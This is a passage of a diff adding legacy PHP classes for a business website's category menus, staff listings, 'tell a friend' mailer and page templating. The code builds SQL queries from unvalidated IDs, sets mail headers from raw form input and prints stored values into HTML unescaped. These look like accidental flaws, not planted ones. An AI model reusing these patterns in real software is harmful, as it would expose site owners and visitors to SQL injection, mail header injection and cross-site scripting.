+ {
+ foreach($this->result as $key=>$data)
+ {
+ printf("<a class=\"frontnews\" href=\"%s\">%s</a><br>",$href,$data[title]);
+ }
+ }
+ }
+
+ if(is_array($this->threads))
+ {
+ $this->get_parentshow();
+ $output = $this->printout($this->threads);
+ echo $output;
+ }
+ }
+
+ /** get_parent
+ Finds the parent. Will traverse up until it reaches top of
+ chain.
+ @param id - The catid to find parent of
+ @returns Parent - The parent id
+ */
+ function get_parent($id)
+ {
+ if($id == 0)
+ return(0);
+ if($this->parentshow[$id]['parent'] != "")
+ {
+
+ $test = $this->parentshow[$id]['parent'];
+ if($test === 0)
+ {
+ return($id);
+ }
+ else
+ {
+ $id = $this->get_parent($test);
+ }
+ if($id == 0)
+ return($test);
+ return($id);
+ }
+ return($id);
+ }
+
+ /** get_parentshow
+ Sets the array parentshow with all categories.
+ @param none
+ @returns none
+ */
+ function get_parentshow()
+ {
+ $qs = "SELECT id,parent,category
+ FROM bus_category";
+
+ $parentrow = db_auto_get_data($qs,CONN_STR);
+
+ foreach($parentrow as $key=>$value)
+ {
+ $this->parentshow[$value[id]] = $value[parent];
+ }
+ }
+
+ /** printout
+ Print the results out as links to their pages.
+ @param none
+ @returns none
+ */
+ function printout()
+ {
+ if(is_array($this->threads))
+ {
+ foreach($this->threads as $key=>$value)
+ {
+ $p = $this->get_parent($value[ID]);
+ if($p!=1)
+ {
+ $string .= "<a class=\"link2\"
+ href=\"products.phtml?catid=$value[ID]\"><b>".$value[content]."</b></a><br>";
+ }
+ else
+ {
+ $string .= "<a class=\"link2\"
+ href=\"index.phtml\"><b>".$value[content]."</b></a><br>";
+ }
+ }
+ echo $string;
+ }
+ }
+}
+?>
--- /dev/null
+<?php
+require_once(BASE.'classes/class_db.inc');
+require_once(BASE.'classes/class_template.inc');
+class GLM_STAFF extends GLM_TEMPLATE{
+ function GLM_STAFF()
+ {
+ parent::GLM_TEMPLATE(NULL);
+ }
+
+ function getStaffDetail($catid,$busid)
+ {
+ $url = $this->get_seo_url(5);
+ $output = '<div id="breadcrumbs">Back to: <a
+ href="'.$url.'">'.$this->get_catheader(5,&$this->DB).'</a></div>';
+ $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+ $data = $this->DB->db_auto_get_data($query);
+ if(is_array($data))
+ {
+ foreach($data as $key=>$value)
+ {
+ if($value['category'])
+ {
+ $catname = $value["category"];
+ }
+
+ }
+ }
+ $query2 = "SELECT * FROM bus where id = $busid";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ if($value["email"])
+ {
+ $name = ($value["name"] != '') ? '<a href="mailto:'.$value["email"].'">'.$value["name"].'</a><br>': '';
+ }
+ else
+ {
+ $name = ($value["name"] != '') ? ''.$value["name"].'<br>': '';
+ }
+ $title = ($value["title"] != '') ? ''.$value["title"].'<br>': '';
+ $org = ($value["org"] != '') ? ''.$value["org"].'<br>': '';
+ $phone = ($value["phone"] != '') ? ''.$value["phone"].'<br>': '';
+ //$email = ($value["email"] != '') ? '<a href="'.$value["email"].'">'.$value["email"].'</a><br>': '';
+ $description = ($value["description"] != '') ? ''.nl2br($value["description"]).'<br>': '';
+ $output .= '<h2>'.$value["name"].'</h2> ';
+ $output .= '
+ <div style="margin-right:10px;float:left;"><img
+ src="'.MIDSIZED.$value["image"].'"
+ alt="'.$value["image"].'"></div>
+ <div style="float:left;margin-left:10px;width:auto;text-align:left;">'.
+ $name.
+ $title.
+ $org.
+ $phone.
+ $email.
+ $description.
+ '</div>
+ ';
+ }
+ if(++$count == 4)
+ {
+ $output .= '<br clear="all">
+ ';
+ $count = 0;
+ }
+ }
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return('<div id="staff">'.$output.'</div>');
+ }
+ /**
+ * getStaff: used for output of staff listings
+ * @param $catid: id for bus_category table
+ *
+ * @return string $outpu
+ * @access public
+ **/
+ function getStaff($catid)
+ {
+ $output = '';
+ $query = "SELECT * FROM bus_category WHERE id = ".$catid;
+ $data = $this->DB->db_auto_get_data($query);
+ $output .= '<p>Click an image to view details</p>
+ ';
+
+ $query2 = "SELECT b.* FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+ (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ if($value["email"])
+ {
+ $name = ($value["name"] != '') ? '<a href="mailto:'.$value["email"].'">'.$value["name"].'</a><br>': '';
+ }
+ else
+ {
+ $name = ($value["name"] != '') ? ''.$value["name"].'<br>': '';
+ }
+ $title = ($value["title"] != '') ? ''.$value["title"].'<br>': '';
+ $org = ($value["org"] != '') ? ''.$value["org"].'<br>': '';
+ $phone = ($value["phone"] != '') ? ''.$value["phone"].'<br>': '';
+ //$email = ($value["email"] != '') ? '<a href="'.$value["email"].'">'.$value["email"].'</a><br>': '';
+ $pagename = BASE_URL.'staff/';//GLM_TEMPLATE::get_seo_url( 5 );
+ //$busname = 'busid='.$value['id'];
+ $busname = GLM_TEMPLATE::set_name_url( $value['name'] );
+ if( SEO_URL )
+ {
+ $busname = GLM_TEMPLATE::set_name_url($value['name']).'-'.$value['id'].'/';
+ }
+ else
+ {
+ $busname = '&id='.$value['id'];
+ }
+ $description = ($value["description"] != '') ? ''.nl2br($value["description"]).'<br>': '';
+ $output .= '<div class="thumb"><a href="'.$pagename.$busname.'"><img
+ src="'.THUMB.$value["image"].'" border="0"
+ title="'.$value["name"].'" alt="'.$value["name"].'"></a>
+ <div class="photocattitle">'.
+ $name.
+ $title.
+ $org.
+ $phone.
+ $email.
+ '</div></div>
+ ';
+ }
+ if(++$count == 4)
+ {
+ $output .= '<br clear="all">
+ ';
+ $count = 0;
+ }
+ }
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return('<div id="staff">'.$output.'</div>');
+ }
+}
+?>
--- /dev/null
+<?PHP
+class glm_tellfriend{
+var $message; // Template message used in tell a friend mail
+/* Message Example
+* "Dear {friend_name},
+* Your buddy {senders_name} has been to www.whatever.com, and thought you
+* might be interested in it.
+*
+* Message from {senders_name}:
+* {message}"
+*/
+var $thankyou; // Message to display after sending the email same tags available as in the $message
+var $base_url; // This is the base url of the site
+var $postto; // This is a chopped version of PHP_SELF that cuts out the path.
+var $formvals; // Set to zero by default, but if there are form processing errors, it gets set and the form gets displayed autofilled
+
+ /** glm_tellfriend
+ class constructor
+ @param base_url full path to this file -$PHP_SELF for use in form action=""
+ @param message string message to go in the email
+ @param thankyou string message to display after posting
+ @return void
+ */
+ function glm_tellfriend($base_url,$message='',$thankyou='',$postto='')
+ {
+ // Base url is not optional, so just set it directly
+ $this->base_url=$base_url;
+
+ // set post to
+ if($postto==''){
+ $dvar=explode('/',$_SERVER[PHP_SELF]);
+ $this->postto=$dvar[(sizeof($dvar)-1)]; // Neat way to get the last element
+ }else
+ {
+ $this->postto=$postto;
+ }
+ // Set the formvals to 0
+ $this->formvals=0;
+
+ // Set message text
+ if($message!='')
+ {
+ // If a message string has been passed in, use it
+ $this->message = $message;
+ }else{ // Otherwise, set a default
+$message="Dear {friend_name},
+Your friend {senders_name} has been to http://www.gaslightmedia.com, and thought you might be interested in it.
+
+Message from {senders_name}:
+{message}";
+ $this->message = $message;
+ }
+ // Set thankyou text
+ if($thankyou!='')
+ {
+ $this->thankyou=$thankyou;
+ }else{
+ $thankyou="Thank you {senders_name}, your message has been sent to {friend_name}.";
+ $this->thankyou=$thankyou;
+ }
+ // End of constructor method
+ }
+
+ /** show_form
+ shows the Tell a Friend form
+ @param int r number of rows in the message textarea
+ @param int c number of columns in the message textarea
+ @return void
+ */
+ function show_form($r=3,$c=30)
+ {
+ // $r is the number of rows on the message
+ // $c is the number of columns on the message
+
+ if($this->formvals == 0)
+ {
+ $fname='';
+ $femail='';
+ $yname='';
+ $yemail='';
+ $msg='';
+ }elseif(is_array($this->formvals))
+ {
+ $fname=$this->formvals[fname];
+ $femail=$this->formvals[femail];
+ $yname=$this->formvals[yname];
+ $yemail=$this->formvals[yemail];
+ $msg=$this->formvals[msg];
+ }
+ $output='<div id="tellafriend">
+ <form name="tellafriend" action="'.$this->base_url.$this->postto.'" method="post">
+ <div id="fname">
+ <label for="friend_name">Associates Name:</label>
+ <input type="text" name="friend_name" id="friend_name" value="'.$fname.'">
+ </div>
+ <div id="femail">
+ <label for="friend_addy">Associates Email:</label>
+ <input type="text" name="friend_email" id="friend_email" value="'.$femail.'">
+ </div>
+ <div id="messageto">
+ <label for"message">Message to Associate:</label><br>
+ <textarea name="message" id="message" cols="'.$c.'" rows="'.$r.'">'.$msg.'</textarea>
+ </div>
+ <div id="yname">
+ <label for="senders_name">Your Name:</label>
+ <input type="text" name="senders_name" id="senders_name" value="'.$yname.'">
+ </div>
+ <div id="yemail">
+ <label for="senders_email">Your Email:</label>
+ <input type="text" name="senders_email" id="senders_email" value="'.$yemail.'">
+ </div>
+ <div id="frsubmit">
+ <input type="submit" name="submit" id="submit" value="Send Email">
+ </div>
+ ';
+
+ $output.="</form>\n</div>\n";
+ echo $output;
+ //phpinfo();
+ }
+
+ /** valid email
+ Checks for a valid format and good (mx check)
+ email address.
+ @param string email the email address as string.
+ @return boolean
+ */
+ function valid_email ($email) {
+ $check='';
+ $validate_email_temp='';
+ if (eregi('^[0-9a-z]([-_.]?[0-9a-z])*@[0-9a-z]([-.]?[0-9a-z])*\\.[a-z]{2,3}$', $email, $check)) {
+ if ( getmxrr(substr(strstr($check[0], '@'), 1), $validate_email_temp) ) {
+ return TRUE;
+ }
+ }
+ return FALSE;
+ }
+
+ /** process_form
+ validates the email addresses, htmlspecialchars the message, sends the email
+ @return boolean
+ **/
+ function process_form()
+ {
+ //phpinfo();
+ // Double check that stuff was submitted
+ if(!isset($_POST[submit]))
+ {
+ return 0;
+ }else
+ {
+ // The real work begins
+ // Check the email addresses
+ if($this->valid_email($_POST[senders_email])==FALSE)
+ {
+ $error[]="<B>Error:</b> the email address you entered for yourself is invalid<br>\n";
+ }
+ if($this->valid_email($_POST[friend_email])==FALSE)
+ {
+ $error[]="<B>Error:</b> the email address you entered for your associate is invalid</br>\n";
+ }
+ // See if $error isset and is_array, if it is, the buck stops here, because they screwed up.
+ if(isset($error) && is_array($error))
+ {
+ $this->formvals=array(
+ "fname" => $_POST[friend_name],
+ "femail" =>$_POST[friend_email],
+ "yname" =>$_POST[senders_name],
+ "yemail" =>$_POST[senders_email],
+ "msg" =>$_POST[message]);
+
+ for($i=0;$i<sizeof($error);$i++)
+ {
+ echo $error[$i];
+ }
+ $this->show_form();
+ return 0;
+ }else
+ {
+ // Everything looks good, process the form and mail it out.
+ $message = str_replace('{senders_name}',$_POST[senders_name],$this->message); // only the first replace references the class message
+ $message = str_replace('{friend_name}',$_POST[friend_name],$message);
+ $message = str_replace('{message}',$_POST[message],$message);
+ // Same thing with the thankyou msg, only the first replace needs the $this->thankyou
+ $thankyou = str_replace('{senders_name}',$_POST[senders_name],$this->thankyou);
+ $thankyou = str_replace('{friend_name}',$_POST[friend_name],$thankyou);
+ $subject = $_POST[senders_name].' wanted you to see this site';
+ $headers = "From: ".$_POST[senders_email]."\n";
+
+ mail($_POST[friend_email],"Tell a friend",$message,$headers);
+
+ //echo "<BR>Mail command params\n".$_POST[friend_email]." \n<br>".$subject."\n<br>".$message."\n\n";
+ echo $thankyou;
+ }
+
+ }
+ }
+
+ function jfdi()
+ {
+ if(isset($_POST[submit]))
+ {
+ $res = $this->process_form();
+ }else
+ {
+ $this->show_form();
+ }
+ }
+}
+?>
--- /dev/null
+<?php
+// $Id: class_template.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+/** NOTE: for the search engine freindly url's use .htaccess file.
+need to make sure .htaccess is enabled or this work work
+to turn off seo url's set define SEO_URL to 0 in setup file
+.htaccess -> example follows:
+Options +FollowSymLinks
+ErrorDocument 404 /www.?????.com/sitemap.php?nf=1
+RewriteEngine On
+RewriteBase /
+RewriteRule (.*)-([0-9]{1,4}) index\.phtml?catid=$2
+RewriteRule site-map sitemap.php
+*/
+require_once(BASE."classes/class_db.inc");
+class GLM_TEMPLATE{
+
+ /** @var header_begin The style starting for header */
+ var $header_begin;
+ /** @var header_end The style ending for header*/
+ var $header_end;
+ /** @var subheader_begin The style starting for header */
+ var $subheader_begin;
+ /** @var subheader_end The style ending for header*/
+ var $subheader_end;
+ /** @var img_align The alignment of images*/
+ var $img_align;
+ /** @var img_alternate 1 alternate images 0 not*/
+ var $img_alternate;
+ /** @var img_size The path to the image directory*/
+ var $img_size;
+ /** @var DB The database class*/
+ var $DB;
+ /** @var data The category array*/
+ var $data;
+ /** @var items The items array*/
+ var $items;
+ /** @var type The type*/
+ var $type;
+ /** @var whole_thread The thread string*/
+ var $whole_thread;
+ /** @var thread_count The thread count*/
+ var $thread_count;
+ /** @var catid catid for te page */
+ var $catid;
+ /** @var array $pages */
+ var $pages;
+ /** @var $active_query string adding active = 't' to queries only if ACTIVE_FLAG is set to true */
+ var $active_query;
+ /** @var $template integer determines page layout */
+ var $template;
+ /** @var $php_ext pgae extension for php pages .php or .phtml */
+
+ /**
+ * GLM_TEMPLATE:Contsructor of the class
+ * This function is run on intialization.
+ * Any setup vars should be overwritten by creating a new class
+ * that extends this one and setting new vars in the constructor.
+ *
+ * @param $catid: catid Must be set
+ *
+ * @return void
+ * @access
+ **/
+ function GLM_TEMPLATE( $catid, $DB = NULL )
+ {
+ $this->get_catid( $catid ); // sets $this->catid
+ $this->set_DB( &$DB ); // using a reference to $DB (should be started on setup.phtml
+ $this->header_begin = "<h1>"; // class="content" should not be used anymore
+ $this->header_end = "</h1>"; // create style for p h1 h2 tags if needed try to keep it clean
+ $this->subheader_begin = "<h2>";// should not be using h3 here duh go from 1 to 2 instead
+ $this->subheader_end = "</h2>"; // like your suppose to
+ $this->img_alternate = 1; // for alternating images set to 1 else leave alone
+ $this->img_align = "left"; // the starting postion for images change to left if needed
+ $this->img_size = MIDSIZED; // img_size are RESIZED,MIDSIZED,THUMB do not use ORIGINAL
+ $this->whole_thread = ""; // do not touch this it is used for menu generation
+ $this->thread_count = 1; // also used for menu generation
+ $this->php_ext = '.phtml'; // defaults to .phtml
+ $this->set_pages( &$GLOBALS['PAGES'] );
+ }
+
+
+ /**
+ * set_active_query: some toolboxes have an active flag some do not
+ * so this is to allow both with and without a flag.
+ *
+ * @return
+ * @access
+ **/
+ function set_active_query()
+ {
+ if( ACTIVE_FLAG )
+ {
+ $this->active_query = " and active = 't'";
+ }
+ return( $this->active_query );
+ }
+
+
+ /**
+ * get_hit_count: find out how many top level categories have at least one category under
+ * them.
+ * @param $&$DB : Database object
+ *
+ * @return
+ * @access
+ **/
+ function get_hit_count( &$DB )
+ {
+ $query = 'select id from bus_category where parent in ( select id from bus_category where
+ parent = 0) and parent != 0';
+ $res = $DB->db_auto_get_data( $query );
+ if( !$res )
+ {
+ return( 0 );
+ }
+ else
+ {
+ return( count( $res ) );
+ }
+ }
+
+ /**
+ * get_seo_url: grab category part of the seoarch engine friendly url
+ looks at define for seo_url to see weather to use the seach engine friendly url's or not
+ * @param $id:
+ * @param $$slash = 1 : to put a slash on end or not
+ *
+ * @return string $url for page.
+ * @access public
+ **/
+ function get_seo_url( $id, $slash = 1 )
+ {
+ if( SEO_URL )
+ {
+ $url = BASE_URL;
+ $url .= GLM_TEMPLATE::set_name_url( GLM_TEMPLATE::get_category_name( $id, "bus_category", $this->DB ) );
+ $url = strip_tags( $url );
+ $url = htmlspecialchars( $url );
+ if( $slash )
+ {
+ $url .= '/';
+ }
+ }
+ else
+ {
+ $url = $this->get_base_url( $id );
+ if( $url )
+ {
+ $url = BASE_URL.$url;
+ $url .= $this->php_ext.'?catid='.$id;
+ }
+ else
+ {
+ $url = BASE_URL;
+ }
+ }
+
+ return( $url );
+ }
+ /**
+ * set_DB: set the DB up to be that of the global one if it exists
+ * @param $$DB : the DB object
+ *
+ * @return void
+ * @access public
+ **/
+ function set_DB( $DB )
+ {
+ if( isset( $DB ) )
+ {
+ $this->DB =& $DB;
+ }
+ else
+ {
+ $this->DB =& new GLM_DB();
+ }
+ }
+
+ /**
+ * set_pages: grab the globals for the pages an use this for
+ the pages array for the class
+ *
+ * @return void
+ * @access public
+ **/
+ function set_pages( $pages )
+ {
+ if( is_array( $pages ) )
+ {
+ $this->pages =& $pages;
+ }
+ }
+
+ /**
+ * set_catid:Set the class catid var
+ * @param $catid: $catid
+ *
+ * @return void
+ * @access public
+ **/
+ function set_catid( $catid )
+ {
+ if( is_numeric( $catid ) )
+ {
+ $this->catid = $catid;
+ }
+ else
+ {
+ $this->catid = 1;
+ }
+ }
+
+ /**
+ * get_id_from_path_info: takes the path_info and gets a catid from bus_category table
+ * @param $PATH_INFO: GLOBAL PATH_INFO
+ * @param $&$dbd : object database
+ *
+ * @return int catid
+ * @access public
+ **/
+ function get_id_from_path_info( $PATH_INFO, &$dbd )
+ {
+ //echo "$PATH_INFO";
+ $var_array = explode( "/", $PATH_INFO );
+ if( count( $var_array ) > 0 )
+ {
+ $it=$var_array[(sizeof($var_array) - $chop)];
+ if( $it != "" && $it != "blank")
+ {
+ $catid = GLM_TEMPLATE::get_id_from_name( $it,"bus_category", &$dbd );
+ }
+ }
+ return( $catid );
+ }
+
+ /**
+ * get_catid: calls the get_id_from_path and can be placed into the consructor
+ *
+ * @return int catid
+ * @access public
+ **/
+ function get_catid( $catid )
+ {
+ if( isset( $catid ) && is_numeric( $catid ) )
+ {
+ return( $this->catid = $catid );
+ }
+ if(!isset($_GET[page]))
+ {
+ $this->catid = $this->get_id_from_path_info( $PATH_INFO, &$this->DB );
+ }
+ else
+ {
+ $this->catid = $this->get_id_from_name($page, "bus_category",&$this->DB);
+ }
+ return( $this->catid );
+ }
+
+ /**
+ * set_contact:Set the contact string
+
+ * @param $text: The text as string
+ * @param $email: email if givin
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_contact( $text, $email )
+ {
+ if( $email != "" )
+ {
+ $text = "";
+ }
+ else
+ {
+ $text = '<p><strong>Contact Name:</strong> '.$text.'</p>';
+ }
+ return($text);
+ }
+
+ function fix_urls($string)
+ {
+ preg_match_all ("|href\=\"?'?`?([[:alnum:]:?=&@/._-]+)\"?'?`?|i", $string, &$matches);
+ if( is_array( $matches[1] ) )
+ {
+ foreach( $matches[1] as $key => $val )
+ {
+ if( !stristr( $val, "http" ) && !stristr( $val, "mailto" ) )
+ {
+ $ret[] = array( 'in'=>$val,'out'=>BASE_URL.$val);
+ }
+ }
+ }
+ if( is_array( $ret ) )
+ {
+ foreach( $ret as $k => $val )
+ {
+ $string = str_replace( $val['in'], $val['out'], $string );
+ }
+ }
+ return $string;
+ }
+ /**
+ * set_text:Set the contact string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_text( $text )
+ {
+ if("" == str_replace("<br />","",trim($text)))
+ {
+ return(false);
+ }
+ if( $text != "" )
+ {
+ //$text = str_replace( "<a href=\"HTTP://","<a target=\"_blank\" href=\"http://", $text );
+ $text = $this->keyword_replace( $text );
+ $text = nl2br( $text );
+ //$text = $this->fix_urls( $text );
+ }
+ return($text);
+ }
+
+ /**
+ * get_image_path: get image path from the size used
+ *
+ * @return path for images
+ * @access public
+ **/
+ function get_image_path()
+ {
+ if( strstr($this->img_size,'midsized/') )
+ {
+ return( MIDSIZED_PATH );
+ }
+ if( strstr($this->img_size,'resized/') )
+ {
+ return( RESIZED_PATH );
+ }
+ if( strstr($this->img_size,'thumb/') )
+ {
+ return( THUMB_PATH );
+ }
+ }
+
+ /**
+ * set_img:Set the image string
+ * @param $image: The image
+ * @param $size: The path
+ * @param $align: The alignment
+ * @param $name: The image_name (displayed under image)
+ * @param $title: Title if given
+ *
+ * @return
+ * @access
+ **/
+ function set_img( $image, $size, $align, $title )
+ {
+ if( $image != "" )
+ {
+ if( $title != '')
+ {
+ $titletag = 'title="'.htmlspecialchars(strip_tags($title)).'"';
+ $titletag .= ' alt="'.htmlspecialchars(strip_tags($title)).'"';
+ }
+ else
+ {
+ $titletag = 'title="'.htmlspecialchars(strip_tags($image)).'"';
+ $titletag .= ' alt="'.htmlspecialchars(strip_tags($image)).'"';
+ }
+ if( $align != "" )
+ {
+ $img_align = 'class="image'.$align.'"';
+ }
+ $path = $this->get_image_path();
+ if( is_file( $path.$image ) )
+ {
+ $image_size = getimagesize( $path.$image );
+ $img_attr = $image_size[3];
+ }
+ if(file_exists(ORIGINAL_PATH.$image))
+ {
+ $size2 = getimagesize(ORIGINAL_PATH.$image);
+ $width = $size2[0] + 0;
+ $height = $size2[1] + 0;
+ }
+ $img .= '<a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$image.'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img '.$img_attr.' src="'.$size.$image.'" '.$titletag.' '.$img_align.' border="0"></a>';
+ $this->imgfloat["$img"] = $align;
+ return($img);
+ }
+ }
+
+ /**
+ * set_url:Set the url string
+ * @param $url: The url
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_url( $url, $text )
+ {
+ if( $url != "" )
+ {
+ if( !$text )
+ {
+ $text = $url;
+ }
+ if( strtolower( substr( $url, 0, 7 ) ) == "https://" )
+ {
+ $url = '<p><a href="'.$url.'" target="_blank">'.$text.'</a></p>';
+ }
+ else
+ {
+ $url = '<p><a href="http://'.$url.'" target="_blank">'.$text.'</a></p>';
+ }
+ }
+ return( $url );
+ }
+
+ /**
+ * set_email:Set the email string
+ * @param $email: The email as string
+ * @param $contact: The contactname this is used as the link text
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_email( $email, $contact )
+ {
+ if( $email != "" )
+ {
+ if( $contact != "" )
+ {
+ $email = '<p><strong>Contact:</strong> <a href="mailto:'.$email.'" target="_blank">'.$contact.'</a></p>';
+ }
+ else
+ {
+ $email = '<p><strong>Email:</strong> <a href="mailto:'.$email.'" target="_blank">'.$email.'</a></p>';
+ }
+ }
+ return( $email );
+ }
+
+ /**
+ * set_header:Set the header string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_header( $text )
+ {
+ if( $text != "" )
+ {
+ $text = $this->header_begin.$text.$this->header_end;
+ }
+ return( $text );
+ }
+
+ /**
+ * set_subheader:Set the subheader string
+ * @param $text: The text as string
+
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_subheader( $text )
+ {
+ if( $text != "" )
+ {
+ $text = $this->subheader_begin.$text.$this->subheader_end;
+ }
+ return( $text );
+ }
+
+ /**
+ * set_phone:Set the phone string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_phone( $text )
+ {
+ if( $text != "" )
+ {
+ $text = '<p><strong>Phone:</strong> '.$text.'</p>';
+ }
+ return( $text );
+ }
+
+ /**
+ * set_fax:Set the fax string
+ * @param $text: The text as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_fax( $text )
+ {
+ if( $text != "" )
+ {
+ $text = '<p><strong>Fax:</strong> '.$text.'</p>';
+ }
+ return( $text );
+ }
+
+ /**
+ * set_file:Set the file string
+ * @param $text: The text as string
+ * @param $name: The file name displayed
+ *
+ * @return string $text
+ * @access
+ **/
+ function set_file( $text, $name )
+ {
+ if( $text != "" )
+ {
+ $outtext = '<p><a href="'.URL_BASE.'uploads/'.$text.'" target="_blank">';
+ if($name)
+ $outtext .= $name;
+ else
+ $outtext .= $text;
+ $outtext .= '</a></p>';
+ }
+ return( $outtext );
+ }
+
+ /**
+ * set_address:set_address
+ * @param $data: data contain the address info for display.
+ *
+ * @return string $address
+ * @access
+ **/
+ function set_address( $data )
+ {
+ $address = "";
+ if( $data["address"] )
+ {
+ $address .= $data["address"];
+ }
+ if( $data["city"] && $data["state"] && $data["zip"] )
+ {
+ $address .= '<br>'.$data["city"].', '.$data["state"].' '.$data["zip"];
+ }
+ elseif( $data["city"] && $data["state"] )
+ {
+ $address .= '<br>'.$data["city"].', '.$data["state"];
+ }
+ elseif( $data["city"] )
+ {
+ $address .= '<br>'.$data["city"];
+ }
+ if( $address != "" )
+ {
+ return( '<p>'.$address.'<br></p>' );
+ }
+ }
+
+ /**
+ * get_all:Does the query and set_data calls boths arrays
+ *
+ * @return void
+ * @access
+ **/
+ function get_all( $type = NULL )
+ {
+ $catid = $this->catid;
+ if( $type == 1 || !$type )
+ {
+ $cat_query = "select * from bus_category where id = $catid ".$this->active_query." order by pos";
+ $res = $this->set_data( $this->DB->db_auto_get_data( $cat_query ) );
+ $this->data = $res[0];
+ }
+ if( $type == 2 || !$type )
+ {
+ $item_query = "select b.* from bus b left outer join bus_category_bus bcb on (bcb.busid = b.id) where bcb.catid = $catid order by bcb.pos";
+ $this->items = $this->set_data( $this->DB->db_auto_get_data( $item_query ) );
+ }
+ }
+
+ /**
+ * set_data:Calls each function of the class
+ * based on the key af the array $data[0][$key]
+ * @param $data: The input array from db query
+ *
+ * @return array data The finished array
+ * @access
+ **/
+ function set_data( $data )
+ {
+ if( is_array( $data ) )
+ {
+ foreach( $data as $k => $val )
+ {
+ foreach( $val as $key => $value )
+ {
+ if( strstr( $key, "image" ) && !strstr( $key, "name") && $value != "" )
+ {
+ $titletag = ( $data[$k]['category'] ) ? $data[$k]['category'] : $data[$k]['name'];
+ $data[$k][$key."_name"] = $value;
+ $data[$k][$key] = $this->set_img( $value, $this->img_size, $this->img_align, $data[$k][$key."name"].$titletag );
+ if( !strstr( $key, "name" ) )
+ {
+ if( $this->img_align == "right" && $this->img_alternate )
+ {
+ $this->img_align = "left";
+ }
+ elseif( $this->img_alternate )
+ {
+ $this->img_align = "right";
+ }
+ }
+ }
+ elseif( strstr($key,"file") && strstr($key,"name") && $value!="" )
+ {
+ }
+ elseif( strstr($key,"url") && strstr($key,"name") && $value!="" )
+ {
+ }
+ elseif( strstr($key,"descr") && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+ }
+ elseif( $key == "contactname" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_contact( $value, $data[$k]['email'] );
+ }
+ elseif($key == "name" && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+ }
+ elseif( strstr( $key, "header" ) && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_subheader( $value );
+ }
+ elseif( $key == "intro" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+ }
+ elseif( $key == "category" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_header( $value );
+ }
+ elseif( $key == "url" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_url( $value, $data[$k]["urlname"] );
+ }
+ elseif( $key == "email" && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_email( $value, $data[$k]["contactname"] );
+ }
+ elseif( $key == "phone" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_phone($value);
+ }
+ elseif( $key == "fax" && $value != "" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_fax( $value );
+ }
+ elseif (strstr( $key, "file" ) && $value!="")
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_file( $value, $data[$k][$key.'name'] );
+ }
+ elseif( $key == "address" )
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_address( $data[$k] );
+ }
+ elseif( $key == "id" )
+ {
+ $data[$k][$key] = $value;
+ }
+ else
+ {
+ $data[$k][$key] = GLM_TEMPLATE::set_text( $value );
+ }
+ }
+ }
+ return( $data );
+ }
+ return( false );
+ }
+
+ /**
+ * load_static_page:using object buffer include the page $catid.phtml from static dir
+ and return it as string
+ *
+ * @return string $text
+ * @access
+ **/
+ function load_static_page()
+ {
+ if( file_exists( BASE."static/".$this->catid.".phtml" ) )
+ {
+ ob_start();
+ include("static/".$this->catid.".phtml");
+ $text = ob_get_contents();
+ ob_end_clean();
+ return($text);
+ }
+ }
+
+ /**
+ * clean_text:Do some text clean up.
+ * @param $output:
+ *
+ * @return string text cleaned
+ * @access
+ **/
+ function clean_text($output)
+ {
+ $output = str_replace("<br />","<br>",$output);
+ $output = str_replace("<p><br></p>","",$output);
+ return($output);
+ }
+
+ /**
+ * get_category: grab just category contents
+ * @param $catid: id of bus_category
+ * @param $DB:
+ * @param $$showimg=1: weather or not to show category image
+ *
+ * @return string $output
+ * @access public
+ **/
+ function get_category( $showimg = 1,$showdiv=1 )
+ {
+ if( DELUXE_TOOLBOX )
+ {
+ $this->get_template( "cat" );
+ }
+
+ if( !$this->data )
+ {
+ $this->get_all( 1 );
+ }
+ $data = $this->data;
+ if($showdiv==1)
+ {
+ $output .= '<div id="category">'."\n";
+ }
+ if( $this->catid == 1 )
+ {
+ // $output .= $this->get_home_events();
+ }
+ if($data["image"] || $data["description"] || $data["intro"] )
+ {
+ //$output .=$data["intro"]." ";
+ if($showimg == 1)
+ {
+ $output .=$data["image"]." ";
+ }
+ $output .=$data["intro"]." ";
+ $output .=$data["description"]." ";
+ }
+ if($showdiv==1)
+ {
+ $output .= '</div>'."\n";
+ }
+ $output = GLM_TEMPLATE::clean_text($output);
+ return( $output );
+
+ }
+
+ /**
+ * get_page: replacing template_parser with get-page function
+ *
+ * @return
+ * @access
+ **/
+ function get_page( $showimg = 1,$showdiv=1 )
+ {
+ $out .= $this->get_category( $showimg,$showdiv );
+ $out .= $this->get_listings();
+ return( $out );
+ }
+
+ /**
+ * get_template: get the template type of the bus_category
